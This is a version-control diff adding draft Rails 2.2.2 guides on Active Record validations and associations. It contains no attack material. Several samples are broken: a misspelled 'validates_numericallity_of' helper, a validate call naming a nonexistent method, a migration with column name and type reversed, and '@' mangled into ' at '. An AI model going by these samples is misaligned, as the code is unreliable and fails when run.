+* Correctly use all the built-in Active Record validation helpers
+* Create your own custom validation methods
+* Work with the error messages generated by the validation proccess
+* Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved.
+* Create special classes that encapsulate common behaviour for your callbacks
+* Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations.
+
+== Motivations to validate your Active Record objects
+
+The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly. 
+
+There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons:
+
+* Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level.
+* Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
+* Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods.
+
+== How it works
+
+=== When does validation happens?
+
+There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it'll be recorded to it's table. Active Record uses the +new_record?+ instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class:
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+end
+------------------------------------------------------------------
+
+We can see how it works by looking at the following script/console output:
+
+------------------------------------------------------------------
+>> p = Person.new(:name => "John Doe", :birthdate => Date.parse("09/03/1979"))
+=> #<Person id: nil, name: "John Doe", birthdate: "1979-09-03", created_at: nil, updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+------------------------------------------------------------------
+
+Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either +save+, +update_attribute+ or +update_attributes+) will result in a SQL update operation. Active Record will use this facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.
+
+=== The meaning of 'valid'
+
+For verifying if an object is valid, Active Record uses the +valid?+ method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the +errors+ instance method. The proccess is really simple: If the +errors+ method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the +errors+ collection.
+
+== The declarative validation helpers
+
+Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's +errors+ collection, this message being associated with the field being validated. 
+
+Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes.
+
+All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one the values +:save+ (it's the default), +:create+  or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order.
+
+=== The +validates_acceptance_of+ helper
+
+Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_acceptance_of :terms_of_service
+end
+------------------------------------------------------------------
+
+The default error message for +validates_acceptance_of+ is "_must be accepted_"
+
++validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_acceptance_of :terms_of_service, :accept => 'yes'
+end
+------------------------------------------------------------------
+
+
+=== The +validates_associated+ helper
+
+You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
+
+[source, ruby]     
+------------------------------------------------------------------
+class Library < ActiveRecord::Base
+  has_many :books
+  validates_associated :books
+end
+------------------------------------------------------------------
+
+This validation will work with all the association types.
+
+CAUTION: Pay attention not to use +validates_associated+ on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.
+
+The default error message for +validates_associated+ is "_is invalid_". Note that the errors for each failed validation in the associated objects will be set there and not in this model.
+
+=== The +validates_confirmation_of+ helper
+
+You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_confirmation_of :email
+end
+------------------------------------------------------------------
+
+In your view template you could use something like
+------------------------------------------------------------------
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+------------------------------------------------------------------
+
+NOTE: This check is performed only if +email_confirmation+ is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide):
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_confirmation_of :email
+  validates_presence_of :email_confirmation
+end
+------------------------------------------------------------------
+
+The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_"
+
+=== The +validates_each+ helper
+
+This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_each :name, :surname do |model, attr, value|
+    model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
+  end
+end
+------------------------------------------------------------------
+
+The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid.
+
+=== The +validates_exclusion_of+ helper
+
+This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
+
+[source, ruby]
+------------------------------------------------------------------
+class MovieFile < ActiveRecord::Base
+  validates_exclusion_of :format, :in => %w(mov avi), :message => "Extension %s is not allowed"
+end
+------------------------------------------------------------------
+
+The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+  that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask.
+
+The default error message for +validates_exclusion_of+  is "_is not included in the list_".
+
+=== The +validates_format_of+ helper
+
+This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the +:with+ option.
+
+[source, ruby]
+------------------------------------------------------------------
+class Product < ActiveRecord::Base
+  validates_format_of :description, :with => /^[a-zA-Z]+$/, :message => "Only letters allowed"
+end
+------------------------------------------------------------------
+
+The default error message for +validates_format_of+ is "_is invalid_".
+
+=== The +validates_inclusion_of+ helper
+
+This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
+
+[source, ruby]
+------------------------------------------------------------------
+class Coffee < ActiveRecord::Base
+  validates_inclusion_of :size, :in => %w(small medium large), :message => "%s is not a valid size"
+end
+------------------------------------------------------------------
+
+The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+  that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask.
+
+The default error message for +validates_inclusion_of+  is "_is not included in the list_".
+
+=== The +validates_length_of+ helper
+
+This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_length_of :name, :minimum => 2
+  validates_length_of :bio, :maximum => 500
+  validates_length_of :password, :in => 6..20
+  validates_length_of :registration_number, :is => 6
+end
+------------------------------------------------------------------
+
+The possible length constraint options are:
+
+* +:minimum+ - The attribute cannot have less than the specified length.
+* +:maximum+ - The attribute cannot have more than the specified length.
+* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a Ruby range. 
+* +:is+ - The attribute length must be equal to a given value.
+
+The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the +:message+ option to specify an error message.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_length_of :bio, :too_long => "you're writing too much. %d characters is the maximum allowed."
+end
+------------------------------------------------------------------
+
+This helper has an alias called +validates_size_of+, it's the same helper with a different name. You can use it if you'd like to.
+
+=== The +validates_numericallity_of+ helper
+
+This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the +:integer_only+ option set to true, you can specify that only integral numbers are allowed.
+
+If you use +:integer_only+ set to +true+, then it will use the +$$/\A[+\-]?\d+\Z/$$+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value using +Kernel.Float+.
+
+[source, ruby]
+------------------------------------------------------------------
+class Player < ActiveRecord::Base
+  validates_numericallity_of :points
+  validates_numericallity_of :games_played, :integer_only => true
+end
+------------------------------------------------------------------
+
+The default error message for +validates_numericallity_of+ is "_is not a number_".
+
+=== The +validates_presence_of+ helper
+
+This helper validates that the attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty). 
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_presence_of :name, :login, :email
+end
+------------------------------------------------------------------
+
+NOTE: If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself.
+
+[source, ruby]
+------------------------------------------------------------------
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+  validates_presence_of :order_id
+end
+------------------------------------------------------------------
+
+NOTE: If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true 
+
+The default error message for +validates_presence_of+ is "_can't be empty_".
+
+=== The +validates_uniqueness_of+ helper
+
+This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database.
+
+[source, ruby]
+------------------------------------------------------------------
+class Account < ActiveRecord::Base
+  validates_uniqueness_of :email
+end
+------------------------------------------------------------------
+
+The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.
+
+There is a +:scope+ option that you can use to specify other attributes that must be used to define uniqueness:
+
+[source, ruby]
+------------------------------------------------------------------
+class Holiday < ActiveRecord::Base
+  validates_uniqueness_of :name, :scope => :year, :message => "Should happen once per year"
+end
+------------------------------------------------------------------
+
+There is also a +:case_sensitive+ option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_uniqueness_of :name, :case_sensitive => false
+end
+------------------------------------------------------------------
+
+The default error message for +validates_uniqueness_of+ is "_has already been taken_".
+
+== Common validation options
+
+There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which we'll cover right at the next topic.
+
+=== The +:allow_nil+ option
+
+You may use the +:allow_nil+ option everytime you just want to trigger a validation if the value being validated is not +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+.
+
+[source, ruby]
+------------------------------------------------------------------
+class Coffee < ActiveRecord::Base
+  validates_inclusion_of :size, :in => %w(small medium large), 
+    :message => "%s is not a valid size", :allow_nil => true
+end
+------------------------------------------------------------------
+
+=== The +:message+ option
+
+As stated before, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
+
+=== The +:on+ option
+
+As stated before, the +:on+ option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on =$$>$$ :create+ to run the validation only when a new record is created or +:on =$$>$$ :update+ to run the validation only when a record is updated.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_uniqueness_of :email, :on => :create # => it will be possible to update email with a duplicated value
+  validates_numericallity_of :age, :on => :update # => it will be possible to create the record with a 'non-numerical age'
+  validates_presence_of :name, :on => :save # => that's the default
+end
+------------------------------------------------------------------
+
+== Conditional validation
+
+Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
+
+=== Using a symbol with the +:if+ and +:unless+ options
+
+You can associated the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
+
+[source, ruby]
+------------------------------------------------------------------
+class Order < ActiveRecord::Base
+  validates_presence_of :card_number, :if => :paid_with_card?
+  
+  def paid_with_card?
+    payment_type == "card"
+  end
+end
+------------------------------------------------------------------
+
+=== Using a string with the +:if+ and +:unless+ options
+
+You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+  validates_presence_of :surname, :if => "name.nil?"
+end
+------------------------------------------------------------------
+
+=== Using a Proc object with the +:if+ and :+unless+ options
+
+Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.
+
+[source, ruby]
+------------------------------------------------------------------
+class Account < ActiveRecord::Base
+  validates_confirmation_of :password, :unless => Proc.new { |a| a.password.blank? }
+end
+------------------------------------------------------------------
+
+== Writing your own validation methods
+
+When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the +validate+, +validate_on_create+ or +validate_on_update+ methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's +errors+ collection.
+
+[source, ruby]
+------------------------------------------------------------------
+class Invoice < ActiveRecord::Base
+  def validate_on_create    
+    errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today
+  end
+end
+------------------------------------------------------------------
+
+If your validation rules are too complicated and you want to break it in small methods, you can implement all of them and call one of +validate+, +validate_on_create+ or +validate_on_update+ methods, passing it the symbols for the methods' names.
+
+[source, ruby]
+------------------------------------------------------------------
+class Invoice < ActiveRecord::Base
+  validate :expiration_date_cannot_be_in_the_past, :discount_cannot_be_more_than_total_value
+
+  def expiration_date_cannot_be_in_the_past
+    errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today
+  end  
+  
+  def discount_cannot_be_greater_than_total_value
+    errors.add(:discount, "can't be greater than total value") unless discount <= total_value
+  end
+end
+------------------------------------------------------------------
+
+== Changelog
+
+http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/association_basics.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/association_basics.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/association_basics.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1840 @@
+A Guide to Active Record Associations
+=====================================
+
+This guide covers the association features of Active Record. By referring to this guide, you will be able to:
+
+* Declare associations between Active Record models
+* Understand the various types of Active Record associations
+* Use the methods added to your models by creating associations
+
+== Why Associations?
+
+Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+end
+
+class Order < ActiveRecord::Base
+end
+-------------------------------------------------------
+
+Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
+
+[source, ruby]
+-------------------------------------------------------
+ at order = Order.create(:order_date => Time.now, :customer_id => @customer.id)
+-------------------------------------------------------
+
+Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
+
+[source, ruby]
+-------------------------------------------------------
+ at orders = Order.find_by_customer_id(@customer.id)
+ at orders.each do |order|
+  order.destroy
+end
+ at customer.destroy
+-------------------------------------------------------
+
+With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+-------------------------------------------------------
+
+With this change, creating a new order for a particular customer is easier:
+
+[source, ruby]
+-------------------------------------------------------
+ at order = @customer.orders.create(:order_date => Time.now)
+-------------------------------------------------------
+
+Deleting a customer and all of its orders is _much_ easier:
+
+[source, ruby]
+-------------------------------------------------------
+ at customer.destroy
+-------------------------------------------------------
+
+To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+
+== The Types of Associations
+
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:
+
+* +belongs_to+
+* +has_one+
+* +has_many+
+* +has_many :through+
+* +has_one :through+
+* +has_and_belongs_to_many+
+
+In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
+
+=== The +belongs_to+ Association
+
+A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+-------------------------------------------------------
+
+image:images/belongs_to.png[belongs_to Association Diagram]
+
+=== The +has_one+ Association
+
+A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+-------------------------------------------------------
+
+image:images/has_one.png[has_one Association Diagram]
+
+=== The +has_many+ Association
+
+A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+-------------------------------------------------------
+
+NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
+
+image:images/has_many.png[has_many Association Diagram]
+
+=== The +has_many :through+ Association
+
+A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Physician < ActiveRecord::Base
+  has_many :appointments
+  has_many :patients, :through => :appointments
+end
+
+class Appointment < ActiveRecord::Base
+  belongs_to :physician
+  belongs_to :patient
+end
+
+class Patient < ActiveRecord::Base
+  has_many :appointments
+  has_many :physicians, :through => :appointments
+end
+-------------------------------------------------------
+
+image:images/has_many_through.png[has_many :through Association Diagram]
+
+The +has_many :through+ association is also useful for setting up "shortcuts" through nested :+has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Document < ActiveRecord::Base
+  has_many :sections
+  has_many :paragraphs, :through => :sections
+end
+
+class Section < ActiveRecord::Base
+  belongs_to :document
+  has_many :paragraphs
+end
+
+class Paragraph < ActiveRecord::Base
+  belongs_to :section
+end
+-------------------------------------------------------
+
+=== The +has_one :through+ Association
+
+A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+  has_one :account
+  has_one :account_history, :through => :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  has_one :account_history
+end
+
+class AccountHistory < ActiveRecord::Base
+  belongs_to :account
+end
+-------------------------------------------------------
+
+image:images/has_one_through.png[has_one :through Association Diagram]
+
+=== The +has_and_belongs_to_many+ Association
+
+A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+-------------------------------------------------------
+
+image:images/habtm.png[has_and_belongs_to_many Association Diagram]
+
+=== Choosing Between +belongs_to+ and +has_one+
+
+If you want to set up a 1-1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
+
+The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+end
+-------------------------------------------------------
+
+The corresponding migration might look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class CreateSuppliers < ActiveRecord::Migration
+  def self.up
+    create_table :suppliers do |t|
+      t.string  :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.integer :supplier_id
+      t.string  :account_number
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :accounts
+    drop_table :suppliers
+  end
+end
+-------------------------------------------------------
+
+NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
+
+=== Choosing Between +has_many :through+ and +has_and_belongs_to_many+
+
+Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
+
+[source, ruby]
+-------------------------------------------------------
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+-------------------------------------------------------
+
+The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
+
+[source, ruby]
+-------------------------------------------------------
+class Assembly < ActiveRecord::Base
+  has_many :manifests
+  has_many :parts, :through => :manifests
+end
+
+class Manifest < ActiveRecord::Base
+  belongs_to :assembly
+  belongs_to :part
+end
+
+class Part < ActiveRecord::Base
+  has_many :manifests
+  has_many :assemblies, :through => :manifests
+end
+-------------------------------------------------------
+
+The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table). 
+
+You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
+
+=== Polymorphic Associations
+
+A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
+
+[source, ruby]
+-------------------------------------------------------
+class Picture < ActiveRecord::Base
+  belongs_to :imageable, :polymorphic => true
+end
+
+class Employee < ActiveRecord::Base
+  has_many :pictures, :as => :imageable
+end
+
+class Product < ActiveRecord::Base
+  has_many :pictures, :as => :imageable
+end
+-------------------------------------------------------
+
+You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: + at employee.pictures+. Similarly, you can retrieve + at product.pictures+. If you have an instance of the +Picture+ model, you can get to its parent via + at picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+[source, ruby]
+-------------------------------------------------------
+class CreatePictures < ActiveRecord::Migration
+  def self.up
+    create_table :pictures do |t|
+      t.string  :name
+      t.integer :imageable_id
+      t.string  :imageable_type
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :pictures
+  end
+end
+-------------------------------------------------------
+
+This migration can be simplified by using the +t.references+ form:
+
+[source, ruby]
+-------------------------------------------------------
+class CreatePictures < ActiveRecord::Migration
+  def self.up
+    create_table :pictures do |t|
+      t.string  :name
+      t.references :imageable, :polymorphic => true
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :pictures
+  end
+end
+-------------------------------------------------------
+
+image:images/polymorphic.png[Polymorphic Association Diagram]
+
+=== Self Joins
+
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:
+
+[source, ruby]
+-------------------------------------------------------
+class Employee < ActiveRecord::Base
+  has_many :subordinates, :class_name => "User", :foreign_key => "manager_id"
+  belongs_to :manager, :class_name => "User"
+end
+-------------------------------------------------------
+
+With this setup, you can retrieve + at employee.subordinates+ and + at employee.manager+.
+
+== Tips, Tricks, and Warnings
+
+Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
+
+* Controlling caching
+* Avoiding name collisions
+* Updating the schema
+* Controlling association scope
+
+=== Controlling Caching
+
+All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+
+[source, ruby]
+-------------------------------------------------------
+customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders.empty?          # uses the cached copy of orders
+-------------------------------------------------------
+
+But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
+
+[source, ruby]
+-------------------------------------------------------
+customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders(true).empty?    # discards the cached copy of orders and goes back to the database
+-------------------------------------------------------
+
+=== Avoiding Name Collisions
+
+You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
+
+=== Updating the Schema
+
+Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+-------------------------------------------------------
+
+This declaration needs to be backed up by the proper foreign key declaration on the orders table:
+
+[source, ruby]
+-------------------------------------------------------
+class CreateOrders < ActiveRecord::Migration
+  def self.up
+    create_table :orders do |t|
+      t.order_date   :datetime
+      t.order_number :string
+      t.customer_id  :integer
+    end
+  end
+
+  def self.down
+    drop_table :orders
+  end
+end
+-------------------------------------------------------
+
+If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
+
+Second, if you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. 
+
+WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".
+
+Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
+
+[source, ruby]
+-------------------------------------------------------
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+-------------------------------------------------------
+
+These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
+
+[source, ruby]
+-------------------------------------------------------
+class CreateAssemblyPartJoinTable < ActiveRecord::Migration
+  def self.up
+    create_table :assemblies_parts, :id => false do |t|
+      t.integer :assembly_id
+      t.integer :part_id
+    end
+  end
+
+  def self.down
+    drop_table :assemblies_parts
+  end
+end
+-------------------------------------------------------
+
+=== Controlling Association Scope
+
+By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
+
+[source, ruby]
+-------------------------------------------------------
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account
+    end
+
+    class Account < ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+-------------------------------------------------------
+
